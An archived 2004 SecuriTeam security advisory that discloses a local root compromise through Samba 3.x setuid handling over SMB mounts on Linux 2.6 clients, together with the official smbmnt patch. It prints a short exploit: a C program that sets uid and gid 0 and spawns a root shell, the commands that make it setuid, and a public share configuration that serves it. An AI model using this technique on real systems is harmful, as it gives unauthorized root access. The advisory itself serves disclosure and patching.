

# [UNIX] Samba 3.x Under Default Kernel 2.6.x Allows Local Root Compromise

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-02/0043.html>

---

*From:* SecuriTeam ([support\\_at\\_securiteam.com](mailto:support_at_securiteam.com))

*Date:* 02/16/04

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 16 Feb 2004 18:47:52 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

Samba 3.x Under Default Kernel 2.6.x Allows Local Root Compromise

---

## SUMMARY

Due to improper handling by Samba of setuid files (stored on a remote computer), a user can gain elevated privileges by creating a setuid program on one machine, and executing it (via a SMB share) as setuid on the other machine (while not having any root privileges on the other machine).

Note that the vulnerability involves two machines, the server (sharing the setuid binary), and the client (the victim, which mounts the share and runs the binary; the attacker must have a local account here).

## DETAILS

Vulnerable Client:

&nbsp;\* Linux smbfs in 2.6.x or 2.4.25–pre8 with UNIX extensions in config or 2.4.x + cifs–UE patches

Vulnerable Server:

\* Samba version 3.x with UNIX extensions enabled

## Securiteam: [UNIX] Samba 3.x Under Default Kernel 2.6.x Allows Local Root Compromise

The vulnerability involves two machines, the server (sharing the setuid binary), and the client (the victim, which mounts the share and runs the binary; the attacker must have a local account here).

The problem stems from the setuid root smbmnt. When you install Samba from source, /usr/bin/smbmnt is not setuid root by default, but several Linux distributions seem to ship it this way (Slackware does not). With smbmnt setuid root, any user with a local account can gain root if they can set up a Samba server that can be mounted from the victim machine.

An addition problem is that smbfs, unlike nfs, isn't mounted using mount and thus has its own rules (mostly for nothing better than historical reasons). "mount -t smbfs ..." calls /sbin/mount.smbfs if found, which in turn calls smbmnt that executes the mount syscall.

Exploit:

```
# cat a.c
main()
{
    setuid(0);
    setgid(0);
    system("/bin/bash");
}
```

```
# make a
cc a.c -o a
# chmod +s a
```

```
#cat /etc/samba/smb.conf
```

```
[share]
path = /data/share
writable = no
locking = no
public = yes
guest ok = yes
comment = Share
```

```
# ls -l a
-- -rwsr-sr-x 1 root root 11716 Feb 8 12:39 a
```

Offical Patch:

```
diff -urN -X exclude samba-3.0.2-orig/source/client/smbmnt.c
samba-3.0.2/source/client/smbmnt.c
--- samba-3.0.2-orig/source/client/smbmnt.c Thu Aug 28 23:42:42 2003
+++ samba-3.0.2/source/client/smbmnt.c Tue Feb 10 22:56:58 2004
@@ -240,7 +240,7 @@
         data.dir_mode |= S_IXOTH;
     }

- flags = MS_MGC_VAL;
```

Securiteam: [UNIX] Samba 3.x Under Default Kernel 2.6.x Allows Local Root Compromise

```
+ flags = MS_MGC_VAL | MS_NOSUID | MS_NODEV;
```

```
if (mount_ro) flags |= MS_RDONLY;
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:digri@dik.cvut.cz> Martin Fiala.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.